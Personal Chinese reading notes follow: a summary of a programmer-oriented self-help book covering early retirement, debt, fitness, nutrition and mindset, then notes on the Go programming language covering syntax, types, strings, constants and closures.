一旦算出自己退休以后每个月的生活开销是多少，当你的“被动收入”达到每月所需的生活开销的时候，你就可以正式退休了。所谓被动收入，就是不用工作就能获得的收入。

要想依靠一定资本带来的被动收入生活，首先要有资本。

要长期积累财富，首选也是最明显的方案就是向退休账户或者其他养老金计划定期缴款。这个方案的唯一弊端是，你一旦决定采用这一方案，就必须等到60岁时才能退休。这里的策略就是，给退休账户存尽可能多的钱，这笔钱会不断增加，也会有复利。等你到退休年龄的时候，你可以取出这笔钱而无需支付任何额外费用。

在你达到传统的退休年龄之前，退休账户里的钱是不能动的。

要提前退休，你需要找出一种方法来构建超过你每月开支数额的被动收入来源，并且需要能够保证自己的收入能冲抵通货膨胀：

你可以选择购买高收益率的股票，股票升值的时候足以对抗通胀。
你也可以创立或者购买知识产权，获取版权收入。这可以是专利、音乐作品、书籍，甚至是电影剧本。
你可以购买一家公司，或者创建自己的公司，最终将其转手给别人打理，而你只需要从剩余利润中分一杯羹。

你不得不从自己能承受得起的小规模投资开始，随着时间的推移，不断增大你的投资规模。

你必须循序渐进，始终以增加被动收入为目标。从自己持有的资产中获利越多，在购买更多能产生收入的资产方面就越有进展。

削减开支。
买最小的房子或者租最小的公寓，或者免费跟你的父母住在一起，要通过各种手段做到这一点。买辆二手车，或者干脆过无车生活。切断有线电视，不要外出吃饭，买旧家具用。
赚更多的钱。

搬到旧金山或者纽约这样的大城市，这些地方通常薪水更高。如果你很聪明，能在消费高的城市找到便宜生活的方法，这样你就能把薪水的差价收入囊中。这一差价是由于居住成本而导致的生活成本的增加。如果能开始一份兼职，或者做一些自由职业，那就动手做吧。你赚的钱越多，可用于投资的资本就越多。

做最有利可图的投资。

第54章债务的危害：社保债务代价昂贵

真正获得财务成功的唯一方法就是用钱生钱。

当你身背债务的时候，通常会靠自己的钱去支付利息。

与债务相关的最大的愚蠢之举就是，一边欠债（特别是欠信用卡债务）一边存钱。

你为债务支付的利息要高于你把钱存在银行里所得的利息，特别是当这笔债务是由信用卡欠款产生的时候。

确保先偿还利息最高的债务。

每个月给利息最高的债务还尽可能多的钱，并坚持这么做，直到还清所有的债务。

不必要的债务，也就是说，在不需要欠债的时候欠债。

先存钱再用现钱买东西。

背负债务的底线就是确保在背上债务之前，这笔债务实际上是一笔投资，它将为你产生的回报高于你为这笔债务所支付的利息。

第55章额外馈赠：我是如何做到33岁退休的

财务自由—— 一种不会囿于财务状况被迫用自己别无选择的方式将自己的时间花费在不合心意的事情上的能力。

我从不追求永远不再工作，但是我一直追求在我不想工作的时候就不工作。

第六篇：健身

人的身体就是人的灵魂的最好写照。

第56章为什么需要破解自己的健康密码

健身不仅是保持健康体魄的关键要素之一，也是灵活的、具有创造性的脑力活动的基础。

好身材能让你自我感觉良好，也能让你对能完成自己设定的目标这件事感觉良好。

当你看上去很好看的时候，你的感觉也会很好。

如果你体重超标、处于亚健康状态，那你罹患各种可预防性疾病的风险就很高。

第57章设定你的健身标准

可能的健身目标：

减肥（减掉脂肪）。
增肌（增长肌肉）。
增加力量（不一定是增长肌肉）。
增加肌肉耐力（改善运动表现）。
改善心血管健康。
在某些运动上表现更好。

一旦决定了健身的主要目标，你就应该想办法创建一系列里程碑，沿着里程碑前进你就一定会到达最终的目标。

一定要确保里程碑是可以实现的。

如果没时间锻炼：把健身当作优先事项。

在你向着自己的目标努力前进的时候，采用正确的方法测量自己的进展也是非常重要的。

使用每周测量值来制作进度表。

在你达成任何健身目标之后，你逐渐减少之前的节食和健身计划，而不是迅速切换回“正常生活”。

第58章热力学、热量和你

健身行业对于体重增加或减少的直接原因存在争论，即体重的增减到底是与摄入的热量有关，还是与消耗的热量有关。

卡路里根本上讲是能量的计量单位，就是将1千克水在1大气压（101.325 kPa）下提升1℃所需要的热量。

如果想减肥，你必须保证自己摄入的热量要少于燃烧的能量，“能量赤字”的大小决定了你能减重多少。

无论是在跑步还是在沙发上睡觉，你的身体都在燃烧卡路里。你的身体需要一定数量的热量来维持生命。这部分基础热量被称为基础代谢率，即BMR。

哈里斯-本尼迪克特公式：见书。

因为减肥初期你的基础代谢率会大幅下降，所以最终你需要进一步降低热量的摄入，或者增加运动量，这样才能保持持续减肥。

第59章动力：让你的屁股离开椅子

实现健身目标最难的是获得并保持健身的动力。

在自己努力争取之前就急于给自己实际的奖励，这实际上会让你失去动力。

要尽量保证你只有努力做到之后才能获得奖励，这样你才可能会更积极地去实现自己的目标。

坚持健身计划的激励因素：

听有声书：我跑步或举重的时候会一直听着有声书或者播客，我发现这件事值得我每天都期待
在跑步机上看电视：如果你只允许自己在跑步机上跑步时才看电视，你可能会有更大的动力去跑步
外出跑步：如果你喜欢户外活动，那么外出跑步对你而言可以是一个巨大的动力
离开孩子一段时间：我们都需要给自己一点儿休息时间，许多健身房有看护服务，能在你锻炼的时候照看你的孩子

试着通过提前计划，尽可能减少生活中的各种抉择。

第60章如何增长肌肉：书呆子也能拥有强健的肌肉

通过增加你要求肌肉完成的运动量来逐步增加肌肉的负担，使身体以增长肌肉作为回应。

通常当你举起杠铃的时候，你已经把这项运动内容分解为不同的动作。每个动作你会做很多组，而每组你又要重复很多次，即重复次数。

一组基本上就是完成某个动作的一个连续环节。运动次数就是动作的每一个完整循环。

在完成一定重复次数后需要休息，我们称之为一组。

如果你的重复次数较少，而每组之间的休息时间较长，你基本上是在增强力量。

肌肉增大主要是通过中等的重复次数和适量的休息间隔实现的。

进一步增加重复次数来提升肌肉的耐力。

第一次举重练习后，你可能会感到肌肉非常酸痛。这种酸痛被称为延迟性肌肉酸痛症（DOMS），将于第二天发作，通常会持续一周左右。不用担心，如果你坚持锻炼，那这种酸痛感会得到缓解并且较少发作。

挑选好的动作的总体策略就是，要做尽可能多的复合运动。复合运动就是会涉及身体多处关节的练习。参与运动的关节越多，参与运动的肌肉也就越多，获得的效果也就越好。

最佳的全身运动：

胸肌：卧推、哑铃飞鸟
肱三头肌：过顶臂屈伸、滑轮下压、肩部三角肌、杠铃推举、哑铃侧平举
背部：单臂哑铃划船、引体向上
肱二头肌、哑铃交替弯举
腿部：深蹲、硬拉、提踵

只要按照上文提到的核心举重练习进行锻炼，腹肌也会得到相应的锻炼。

每天每磅“瘦肉体重”摄入1～1.5克蛋白质。

尽量吃健康食物，这样你摄入的大部分热量都用来去增长肌肉而不是增加脂肪。

锻炼之后来一份高蛋白奶昔会有帮助。

肌酸可以帮助你举起更重的杠铃，让你的肌肉看起来更饱满。

支链氨基酸帮助确保你有足够的支链氨基酸来构建和修复肌肉。

第61章如何获得完美腹肌

做仰卧起坐和艰苦的腹部训练，它们没有任何实际效果。

要获得腹肌你必须做更难的事——遵从一个规则，将身体的脂肪降到一个很低的百分比。

腹部区域是脂肪最容易堆积的主要区域之一。

卷腹和仰卧起坐主要是训练腹部肌肉的耐力的，因为对抗性训练不足以形成肌肉膨胀。

一旦身体的体脂率低于临界值，为了维持生命，你的身体就会疯狂地试图启动各种额外的干预机制。

如果你为了看到腹肌想要将体脂降低到很低的水平，那么需要精确计算你的卡路里并保证你的体重不会下降得过快或者过慢。

你可以尝试高强度间歇式训练（HITT）来减少脂肪。

第62章启动跑步程序

跑步已经被证明会抑制食欲，所以在饿的时候跑步，一举两得，能让你离减肥目标更近。

跑步是治疗轻度抑郁的天然良药，能让你自我感觉更好。

跑步还有很多其他的好处，例如，增强膝盖和其他关节，提升骨密度，降低罹患癌症的风险，也能延长寿命。

Couch-to-5K：每周逐步地增加你的跑步距离。它是为那些没有跑步经验、体型可能不是很好的人设计的。每周进行3次20～30分钟的跑步训练，花2个月就能完成该计划。

第63章站立式办公及其他窍门

站着明显比坐着更有益于健康。

简易食谱：

用微波炉烹饪鸡蛋
原味脱脂希腊酸奶
冷冻肉类

第64章高科技健身装备：极客现身

我是拥有某种计步器的超级粉丝，因为它不仅能帮你明确自己的实际运动量是多少，还能通过了解你的运动量来改变你的行为习惯，从而让你更有活力。

即使你每天都站在体重计上，但只有看到体重随着时间的变化曲线时，你才会真正受到触动，向着正确的方向前进。

第七篇：精神

第65章心灵是如何影响身体的

如果你不相信自己能够做到，你几乎做不成任何事情。

那些想要改变自己信念、控制自己想法的人们，通过积极的正念可以将其想要的变为现实。

第66章拥有正确的心态：重新启动

积极思考与现实主义是不矛盾的。

积极思考在应用层面上是现实主义的最终体现，因为它是一种信念，这种信念让你有力量改变现实，让你确信你不是环境的受害者。

积极思考问题的根源是这样一种信念——你比你随处的环境更伟大。

如何重启你的态度：

改变自己的想法
冥想
劳逸结合

第67章构建一个积极的自我形象——规划你的大脑

自我形象是在甩掉别人对你的看法，摆脱所有用来自我安慰的谎言和欺骗以后，你看到的自己的样子。

如果你重复做一件事同时假装你已经是自己想成为的那样的人，你最终将变成那样的人。

一开始，设定一个你想成为的清晰形象。不要给自己设定任何的人为限制，除非是那些你没有办法改变的身体特征（例如，不要把自己想象成个子很高，除非这么做能让你感到更自信。只是别指望这么想真的能让你长高。）
一旦你在自己的脑海中设立了这样的形象，接下来的任务就是开始执行“仿佛”模式。“仿佛”你已经变成了你想变成的那个人。
你还要给自己很多正面的肯定，这会在你潜意识深处植下你的新思维模式的种子。

第68章爱情与恋爱：计算机无法牵着你的手

你要意识到你实际上是在玩一个游戏，所以可以试着想一些策略。

解决的办法是在行为上体现出自信，用一种自然随和且充满自信的态度与别人交往。

你必须要对自己表现出足够的自信，你真的相信你不需要别人给你带来快乐。你必须要相信你和别人在一起是因为你能给对方的生活带来好处

三秒钟原则：从你看到某个自己喜欢的人的那一刻，有三秒钟你是很冲动的；超过三秒钟你的犹豫不决就会让你丧失自信、破绽百出。

太多人会犯这样的错误——挑选一个人，然后把他/她当作理想人选放在神龛上，时刻想念着那个能让他们觉得“开心”的完美女生或者男生。

如果扩大搜索范围，你的机会更好。

第69章我的私房成功书单

《人性的弱点》
《思考致富》
《心理控制方法》
《积极思考就是力量》
《阿特拉斯耸耸肩》
《代码大全》
《代码整洁之道》
《Head First设计模式》
《富爸爸，穷爸爸》

第70章积极面对失败

我们害怕失败就是因为我们太过将失败归咎于个人，我们认为在特定领域下的失败是个人价值的流逝。

不要畏惧失败，要拥抱失败。

想成长就必须把自己放在保证会失败的环境中。

第71章结束语

你不能把别人说的话都当作福音。没有人可以垄断真理。现实中，很大程度上，正是你自己发现了真理。

附录A：如果你能写代码，你就能理解金融

你可以同任何人交易而不必担心你们彼此之间的需求是否匹配。货币正好就是这个中间媒介。它代表了一些未来的效用和价值。

法定货币基本上是由政府发行的，与某个特定商品之间没有直接联系。

法定货币的价值主要是建立在两个方面上：有多少货币可以使用，以及发行并保障货币价值的政府之经济形势如何。

通货膨胀就是货币的价值缩水了，所以跟以前相比可以购买的东西变少了。

当通货紧缩发生时，你的货币更有购买力。同样金额的货币忽然可以买到更多的东西。

法定货币需要特殊的机制来预防和处理通胀与通缩，或者说至少需要阻止极端通胀与通缩的发生。

银行就是靠建立在这些存款上的借贷与储蓄来运作的。

银行的运营主要就是靠把我们的存款借给别人、收取的贷款利息高于银行支付给我们的存款利息，从而赚取其中的差价。

附录B：股市是如何运作的：系统的游戏规则

无论你决定投资于哪种产品，重要的是要弄明白股市的运作原理。

股票就是一家公司所有权的百分比。

最大的原因是为了筹集资金。

首先，个股并不是只有单一的股价。事实上，股市里的每只股票都有所谓的买入价和卖出价。卖出价就是你卖出股票时别人为这只股票所报出的价格。买入价就是你在买入一只股票时股票持有者的出让价格。

股票的流动性越高，价差就越小；反之，股票的流动性越差，价差就越大。股票的流动性主要是由交易量的大小来确定的。通常，交易股票的人越多，流动性就越好。

造市商就是在股市里那些始终有意愿买入或者卖出某只股票而创造出流动性的交易者。

当你做空一只股票的时候，你将“借”该股票的一些股份，然后卖出这些股份。这让你会产生所谓的“空头头寸”。

你还可以通过持有某只股票赚钱。有些股票会派发红利，也被称作为股息。股息基本上就是公司的额外利润，公司拿出来派发给它的股东作为分红，而不是用于公司的扩大投资。通常情况下，只有大公司才派发股息。

股息的回报率通常不高。风险越低，潜在收益就越低。

指数就是挑选一批个股来测量股市整体表现的工具。

购买主要股指等效部分的股票是投资股市的一个很好的总体战略，因为随着时间的推移大多数主要股指平均每年都有10%左右的涨幅。

共同基金就是由投资者发起建立、由专业的交易者（通过在股市购买了多只股票）管理的一项特殊的投资渠道。共同基金通常专注于不同的投资策略，但是许多共同基金都会把大量的资金用于购买主要股指的成分个股，以此降低其整体风险。

交易型开放式指数基金（ETF）也可以让散户获得与参加一项共同基金一样的收益。

附录C：垃圾进来，垃圾出去：饮食和营养基础知识

食物可以分为三大类：碳水化合物、脂肪和蛋白质。

身体需要的其他营养素大部分被归类为维生素。维生素是你的身体完成一系列的化学反应所需要的小分子。

如果你摄取的食物种类足够多，就可以得到足够多的维生素。

你的身体还需要纤维来辅助完成消化过程。纤维基本上就是植物性食物中你的身体无法消化和吸收的部分。

人体需要多种矿物以维持正常的生理机能，如盐，它可以维持体内细胞正常的体液酸碱度水平。其他矿物质，如钙和铁，都是身体维持正常机能的必需品。

热量是身体结构的最重要因素。吃下去的热量比消耗掉的热量高，就会长胖；反之，吃得少就会变瘦。

摄入的蛋白质不足，身体就会分解现有的蛋白质——肌肉，以得到它所需的氨基酸。摄入的碳水化合物过多，特别是糖分过多，身体将不得不付出更多的努力，以产生足够的胰岛素来降低你的血液中血糖的水平。

深度加工的食品往往含有大量的糖分和防腐剂，它们可以降低食物中营养的质量，并导致身体感到不满意而大量进食。并非所有的碳水化合物对身体的作用都是等效的。吃下一块红薯跟吃下一块加工过的白砂糖，尽管两者都是碳水化合物，但是区别巨大。

附录D：如何吃出健康来：比萨并不是一个食物组

很多我们认为不健康的东西实际上是完全没问题的——只要适量。

不是所有食物的热量值都是相同的。

讨论哪种食物健康与否，远远不如讨论摄入食物的总量重要。

水果和蔬菜都是健康食品，因为它们的热量值都不高。大多数水果和蔬菜都含有较高的纤维含量，还含有大量的水。

蛋白质的热效应值最高，消化一定量的蛋白质需要消耗相当于这些蛋白质热量值的20%〜30%的能量。

蛋白质也是构建和维持肌肉的关键。

不饱和脂肪实际上可以帮助降低坏胆固醇水平，并显著提高甘油三酸脂水平。你可以从鱼类和坚果类食物中找到大量的不饱和脂肪。

一般情况下，未经加工的食品就是最健康的食品

【读书笔记】Go 程序设计语言

Mon, 02 May 2022 07:23:08 GMT

第一章入门

分号注入规则：编译器会将特定符号后的换行符（\n）转换成分号（;）
- { 必须和 func 在同一行
- x + y
  - 合法：
```
x +
y
```
- 非法：
```
x
+ y
```
所有子序列操作都使用半开区间：包含第一个索引（省略则为0），不包含第二个索引（省略则为len(s)），也可以都省略 s[:]
三索引切片：在现有数组或切片下，使用第二个冒号来指示新生成的切片的容量
gofmt 会按照字母顺序表（字典顺序）对 import 中导入的包排序
初始化：
- s := "" 显式初始化说明初始值的重要性
- var s string 隐式初始化说明初始值不重要
map 包含一个引用，当传参时按值传递（副本），但因为是引用类型所以可以在函数体内修改并外部可见
结构体类型转换忽略标签：结构体类型转换时，标签会被忽略。也就是说，标签不同的结构体之间也可以互相转换类型。注意：正常情况下（没有标签）的结构体类型之间的转换只有字段名、类型和声明的顺序全部相同才合法。

控制流

for range：每次迭代生成一对值（副本）：索引和索引处的元素
for if switch 都可以包含一个可选的简单语句放在前面
允许一个简单的语句放在 if 前面，可以缩小 err 的作用域
```
if err := get(); err != nil {
}
```
switch：
- case 语句从上到下按照顺序进行推演，所以第一个匹配的 case 会被执行，默认 break。可以换成 fallthrough 表示匹配且执行完后继续推演
- default 语句可选，且可以放在任何地方
- 无标签 switch
  - switch {} 等于 switch true {}
  - 每条 case 语句作为布尔表达式
break：跳出 for switch select 的最内层
continue：重新开始 for 最内层的迭代
控制流标签：tags:
- break tags -> 跳出标签附近的循环
- continue tags -> 重新迭代标签附近的循环
- goto tags -> 直接前往标签
- 作用域是整个外层函数
for i range 效率跟经典 for 性能差不多，for i, v range 则差两倍

第二章程序结构

名称

标识符：包名、变量、常量、类型、函数、语句标签。规则：开头是 Unicode 中的字符（包括中文）或下划线，后跟任意数量的字符、下划线、数字并区分大小写
25 个关键字：break default func interface select case defer go map struct chan else goto package switch const fallthrough if range type continue for import return var
内置预声明：
- 常量：true false iota nil
- 类型：int int8 int16 int32 int64 uint uint8 uint16 uint32 uint64 uintptr float32 float64 complex64 complex128 bool byte rune string error
- 函数：make len cap new append copy close delete complex real imag panic recover

变量

形式：var name type = expr
省略规则：
- 类型省略：类型由初始化表达式（常量）决定
- 表达式省略：初始值被设置为类型的零值
- 类型和表达式不可以同时省略
零值：
- 基础类型：数字、字符串、布尔 -> 0, "", false
- 聚合类型：数组、结构体 -> 所有元素的零值
- 引用类型：切片、指针、map、通道、函数 -> nil
- 优点：
  - 保障了所有变量都是良好定义的（不存在未初始化变量）
  - 无需额外工作就可以感知边界条件的行为
  - 应该设计类型的零值也有意义，这样变量一开始就会处于可用状态
短变量声明：
- 形式：name := expr
- name 的类型由 expr 自动推断
- 只支持局部变量
- 左边至少需要声明一个新变量
- 左边不需要声明的都是新变量，如果有变量在前面的同一层词法块已经声明过，已声明变量的行为会当作赋值
指针：
- 值为变量的地址，可间接读取或更新
- 所有的变量都有地址
- 聚合类型的组成元素也是变量
- 可比较：相等情况：
  - 指向同一个变量（拥有同一个变量的地址）
  - 两者都是 nil
- 函数返回局部变量的地址是安全的（变量逃逸，不会被回收）
- & 取地址，作操作符
- *
  - 取地址里面的值（解引用）
  - *T 作为一种类型
new 函数：
- new(T) 创建一个未命名的 T 类型变量，初始化为 T 的零值并返回它的地址（地址类型为 *T）
- 每次调用都会返回不同的地址例外：两个变量的类型不携带任何信息且是零值时，返回的是相同地址：
  - struct {} -> struct {}{}
  - [0]int -> [0]int{}

生命周期

定义：程序执行过程中变量存在的时间段。
包级变量：整个程序的执行时间。
局部变量：
- 动态的，从声明到不可访问，之后它占用的存储空间将会被回收。
- 函数的参数和返回值在被调用时创建。
GC 基本思路：每个包级变量和每个当前执行函数的局部变量作为追溯该变量路径的源头，通过指针和其它方式的引用找到变量。路径不存在时表示不可访问。
生命周期由确定变量是否可达来决定，因此循环局部变量在循环已返回后也可能延续。
逃逸：
- 局部变量在函数返回后仍可访问：局部变量会在堆上分配。
- 局部变量在函数返回后变得不可访问，可回收：局部变量会在栈上分配。
- 逃逸需要一次额外的内存分配过程。
在长生命周期对象中保持短生命周期对象那些不必要的指针时，特别是全局变量，会阻止 GC 回收短生命周期对象的空间。

赋值

多重赋值：会先推演右边所有表达式
多返回值：
- map 查询 v, ok := m[key]
- 类型断言 v, ok := x.(T)
- 通道接收 v, ok := <-ch
隐式赋值：
- 函数将实参赋给形参
- return 将操作数赋给结果变量
可赋值性：
- 类型需要精准匹配
- nil 可被赋给引用变量（包括接口类型）
- 常量更灵活
- 可比较性（== !=）的前提是可赋值性

类型声明

形式：type name underlying-type
定义：声明一个新的命名类型，使用的是某个底层类型，且类型名字遵循首字母可见性规则
命名类型支持的操作与底层类型相同
底层类型相同也不能使用算数表达式比较和合并（需要类型转换）
类型转换：T(x) 转换规则：
- 相同底层类型
- 指向相同底层类型变量的未命名指针类型
比较操作符：
- 相同类型的值
- 底层类型相同的未命名类型的值。未命名类型如：未命名的结构体，直接赋值。
- 不支持不同命名类型直接比较
类型别名：T1 完全是 T2 这个类型，这个新设计是为了重构和兼容旧代码。type T1 = T2

包和文件

import 必须在 package 之后，package 表明文件属于哪个包
目录路径为包的导入路径，每个包用导入路径（唯一字符串）标识，标注一个目录
每个包有独立的命名空间，包和包的同名变量不冲突
包级声明对同一个包中的所有文件可见（想象一个包就是一个源文件）
导入的包是文件级的：只能在同一文件内引用，就算是同一个包的不同文件都不可以引用
包名不必唯一，可以为包名绑定一个短名字，默认为包名
包的初始化：从包级变量开始，按声明顺序，在依赖已解析的情况下按依赖顺序
编译多个源文件时，编译器会先进行排序，然后按照收到文件的顺序进行
init 函数：
- 形式：无参数无返回值
- 任何文件可包含任意数量
- 不能被调用和引用
- 每个文件里的按声明顺序自动执行
初始化包时按照导入顺序，依赖顺序优先，每次一个包。e.g. a 导入 b，可确保 b 在 a 之前已经初始化。整个过程自下向上，main 包最后，可确保所有包都初始化完毕
函数和其它包级别的实体可以以任意次序（不区分顺序）声明，也就是说可在声明前调用
包级的类型、函数可以递归声明或相互递归（引用自身）；常量、变量不行

作用域

定义：使用声明时，所声明名字的源代码段
作用域：声明在程序文本中出现的区域（编译时属性）
生命周期：变量在程序执行期间能被其它部分所引用的起止时间（运行时属性）
语法块：大括号围起部分；隐式语法块：无大括号 -> 统称为词法块：决定作用域大小
全局块：包含全部源代码的词法块
覆盖：不同词法块中可以有多个同名的声明，编译器遇到声明时会从最内层的封闭词法块到全局块寻找其声明，所以同名时内层会覆盖外层
for、if、switch 会创建隐式词法块：
- 第一个简单语句初始化部分（x := f()）对第二个 else if 可见
```
if x := f(); x == 0 {
    do something with x
} else if y := g(x); x == y {
    ...
}
```
- switch 语句中，条件对应一个块，每个 case 语句体也对应一个块

短变量声明依赖一个明确的作用域：（不要用于全局变量）

var x int
func foo() {
    x, err := bar()
    // 这时，x 会重新声明而不是转换成赋值
}

第三章基本类型

基本类型分类：
- 基础类型：数字、字符串、布尔型
- 聚合类型：数组、结构体
- 引用类型：指针、切片、map、函数、通道
- 接口类型

整数

符号分类：
- 有符号：int8 int16 int32 int64
  - 补码表示范围：-2^(n-1) ~ 2^(n-1) - 1
- 无符号：uint8 uint16 uint32 uint64
  - 补码表示范围：0 ~ 2^n - 1
- int、uint：
  - 特定平台上，大小与原生的整数相同
  - 等于该平台上运算效率最高的值
  - int 位数会与 uint 位数相同
  - int 与 int32 类型类型是不同的，需要类型转换
  - 不应该对它们的大小做任何的假设
- uintptr：大小不明确，但足以完整地存放指针
rune(int32)：表示 Unicode 码点
byte(uint8)：强调作为原始数据而非量值
运算符优先级：
- ^ ! + -
- * / % << >> & &^
- + - | ^
- == != < <= > >=
- <-
- &&
- ||
- 描述：
  - 二元算术、逻辑操作符的两个操作数类型必须相同
  - + - * / 可用于整数、浮点数、复数
  - % 只能用于整数，且结果正负号总是与被除数一致
  - 整数相除，商会舍弃小数部分
  - 溢出：算术运算结果所需位超出结果类型范围会导致高位部分被丢弃
基础类型都可以比较（== !=），其中除了布尔类型外都可以排序（< <= > >=）
一元加减法：
- 整数：
  - +x -> 0+x
  - -x -> 0-x
- 浮点数、复数：
  - +x -> x
  - -x -> x 的负数
位运算符：
- ^：
  - 二元：按位异或（XOR）
- &^：按位清除（AND NOT）：
```
z = x &^ y
// y 中位为 1 时，z 对应位被设置为 0
// y 中位为 0 时，z 对应位被设置为 x 中对应位
```
- 移位：操作数可为任意数值型，位移量必须为无符号型。（go1.13已接触该限制）补位规则：
  - 有符号数左移 -> 0
  - 有符号数右移 -> 符号位
  - 无符号数左/右移 -> 0
会造成精度损失的转换：
- int 和 float 互相转换：舍弃小数部分，趋零截尾（正值向上取整，负值向下取整）
- 缩减大小的 int 类型互相转换
整数字面量：
- 十进制
- 八进制：0666 -> 以 0 开头
- 十六进制：0xdeadbeef -> 以 0x 或 0X 开头，大小写皆可

浮点数

IEEE 754 标准
字面量：
- 小数：小数点前或后可以省略。e.g. .707 1.
- 科学计数法：在数量级指数前写 e 或 E
特殊值：
- 正无穷大：超出最大许可值的数
- 负无穷大：除以零的商
- NaN（Not a Number）：数学上无意义的运算结果。e.g. 0/0 Sqrt(-1)
  - math.IsNaN() 判断是否是 NaN
  - math.NaN 返回 NaN
  - 与 NaN 的直接比较除 != 外全都不成立

复数

类型：
- complex64 -> 由 float32 构成
- complex128 -> 由 float64 构成
内置函数：
- complex(floatType, floatType) -> 根据给定的实部和虚部创建复数
- real(Value) -> 提取复数的实部
- imag(Value) -> 提取复数的虚部
实数：虚部为零的复数。字面量：正常数
虚数：实部为零的复数。字面量：十进制整数或浮点数后接字母 i
复数字面量：复数常量可与其它常量（整型、浮点型、实数、虚数）相加构成新的复数常量（常量运算规则）
复数可比较，当两者实部虚部都相等时相等

字符串

定义：不可变的字节序列，可包含任意数据，包括零值字节。习惯上会被解读成按 UTF-8 编码的码点序列
len(s) -> 返回 s 的字节数而不是字符个数
第 i 个字节不一定就是第 i 个字符，因为 UTF-8 码点可能会占用多个字节
操作：
- 索引访问（不可修改）
- 子串生成（支持默认值）
- 加号连接（生成新字符串）
支持比较和排序（按字节和字典顺序）
可赋新值，但字符串值无法改变（字符串值本身包含的字节序列永不可变），所以不支持索引修改操作
不可变的优点：
- 安全地共用同一段底层内存
- 复制开销低
- 生成子串开销低
字符串字面量可以包含转义序列（"\n"）来表示不可见字符
少量字符串拼接用加号（十个以内）
大量用 builder

字符串字面量

形式：双引号包裹
可写入码点，习惯上按 UTF-8 编码解读
直接嵌入字节（byte）：
- 八进制 \ooo -> 三个八进制数字，不能超过 \377，即最大值为 255，再加上 0 则一共有 256 种可能
- 十六进制 \xhh -> h 是十六进制数字（大小写皆可），必须要两位，即最大值为 255，再加上 0 则一共有 256 种可能
原生字面量：反引号
- 内容与字面量严格一致
- 可展开多行
- 为了兼容而做的特殊处理：回车符（\r）会被删除，换行符（\n）会被保留

UTF-8

Unicode：[]rune -> []int32 -> UTF-32（UCS-4）32 位固定长度
变长编码（1-4字节）：无法按下标直接访问第 i 个字符

二进制表示：

0xxxxxxx                            0~127(2^7) ASCII
110xxxxx 10xxxxxx                   128~2047(2^11)
1110xxxx 10xxxxxx 10xxxxxx          2048~65535(2^16)
11110xxx 10xxxxxx 10xxxxxx 10xxxxxx 65536~0x10ffff(2^21)

编码：首字节高位指明了后面还有多少字节。最高位为 0 表示只有一个字节（ASCII）；最高位的前三位为 110 表示有两个字节，第二个字节以 10 开始，以此类推
优点：
- 编码紧凑，兼容 ASCII。自同步：最多追溯 3 个字节就能定位一个字符的起始位置
- 前缀编码，能从左到右解码而无歧义，也无需超前预读，于是查找文字符号仅需搜索它自身的字节，不必考虑前文内容
- 易于排序：文字符号的字典字节顺序与 Unicode 码点顺序一致，因此按 UTF-8 编码排序就是对文字符号排序
- UTF-8 编码不会嵌入 NUL 字节（0值），便于某些语言用 NUL 标记字符串结尾
字面量转义：用码点的值来指明 Unicode 字符
- 16 位：\uhhhh
- 32 位：\Uhhhhhhhh
- 两个十六进制数：\xhh 表示单个 byte（码点值小于256）（ASCII）
- h 表示一个十六进制数字，h 大小写皆可
for range 会按 UTF-8 隐式解码
不合理的字节会被替换成 \ufffd
string 转换成 []rune 后大小一致，得到该字符串的 Unicode 码点序列，便于用下标访问
[]rune 转换成 string 后，得到各个文字符号的 UTF-8 编码拼接结果
整数转换成 string 后，值按文字符号类型解读，并产生代表该文字符号值的 UTF-8 码

字符串和字节切片

string 与 []byte 可互相转换
b := []byte(s) 转换会分配新的字节数组，复制并填入 s 中的字节，并生成一个切片引用指向整个数组
string(b) 也会产生一份副本
产生副本（复制）的原因是为了即使转换成 []byte 并修改，也要保证字符串的不变性（字节不变）

布尔型

常量：只有 true 和 false
短路：如果运算符左边操作数已能直接确认总体结果，则右边操作数不会继续运算下去了
优先级助记：
- && -> 逻辑乘法
- || -> 逻辑加法
无法隐式转换成数值（0 1）

常量

常量就是字面量，也是一个表达式，必须在编译阶段就可以计算出其值
可在包级或函数体内声明，遵循首字母可见性规则
只能声明为基础类型，本质上属于基础类型（数字、字符串、布尔型），包括基于基础类型的命名类型
常量操作数运算结果（算术、逻辑、比较）、类型转换结果仍是常量
内置函数返回值（len cap real imag complex unsafe.Sizeof）视情况而定是否是常量
支持组声明，除第一项外其它项的表达式和类型都可省略，会复用前一项的表达式和类型
变量生成器 iota：iota 从 0 开始取值，逐项加一，即每出现一次加一，遵循省略复用，复用的表达式为 iota

无类型常量

字面量（从属类型待定的常量）：类型由字面量的语法决定（0 0.0 0i '\u0000' true false）
会暂时维持较高精度，比基础类型的数学精度更高，且算术精度高于原生机器精度（至少达256位）
类别：
- 无类型整数
- 无类型浮点数
- 无类型复数
- 无类型文字符号（rune）
- 无类型字符串
- 无类型布尔型
与类型已确定的常量相比，无类型常量可以写进更多表达式而无需转换类型（字面量自动类型推断）
只有常量才可以是无类型的：
- 转换：要求目标类型能够表示原值（实数复数允许舍入取整）
- 隐式转换：常量的类型会被转换成该变量的类型：
  - 将无类型常量声明为变量
  - 在类型明确的变量赋值的右边出现无类型常量
变量声明（包括短声明）中如果没明确指定类型，无类型常量会被隐式转换成默认类型（由字面量语法决定）：
- 整数 -> int
- 浮点数 -> float64
- 复数 -> complex128
- 文字符号 -> rune(int32)
显示声明为所期望的类型：
```
var i = int8(0)
var i int8 = 0
```

第四章复合数据结构

可比较：
- 同类型间
- 与 nil 比较（可赋为 nil 的类型）
- 或者两者皆可
slice 不可比较的原因：
- 因为在 slice 上没有很好地定义相等行为：权衡在于浅层与深层比较，指针与值比较，如何处理递归类型等等
- 如果用深度比较：map 只做浅拷贝，要求键在整个生命周期保持不变
  - 原因：
  - 非直接，可包含自身
  - 非直接，同一个 slice 在不同时间持有元素不同
- 如果用引用比较：与数组不一致
按顺序访问 map：
1. 遍历 map 收集键放到 slice 里面
2. 排序键 slice
3. 遍历键 slice，用键去访问 map 里面的值
map 作为集合：bool 值类型
把不可比较的类型作为 map 的键：
- 帮助函数：把不可比较的值映射成可比较的值，使用 map 前先调用帮助函数
- 用不可比较类型的指针类型作键
JSON：
- 转换规则：
  - marshal（结构体转换到 JSON）：保留大小写
  - unmarshal（JSON 转换到结构体）：忽略大小写
- 对应的数据结构：
  - 结构体：字段名（必须大写）
  - map[string]interface{}
数组的不定长长度：[...]int{1, 2} 会自动初始化类型为 [2]int

第五章函数

捕获循环最后迭代变量：
- 特征：循环加defer加引用闭包函数
- 单纯的使用引用闭包函数不会有问题
- 解决：引入内部变量或传参
资源延迟释放：
- 特征：循环加defer调用，倒序执行
- 未立即执行的闭包函数也会造成捕获最后迭代变量
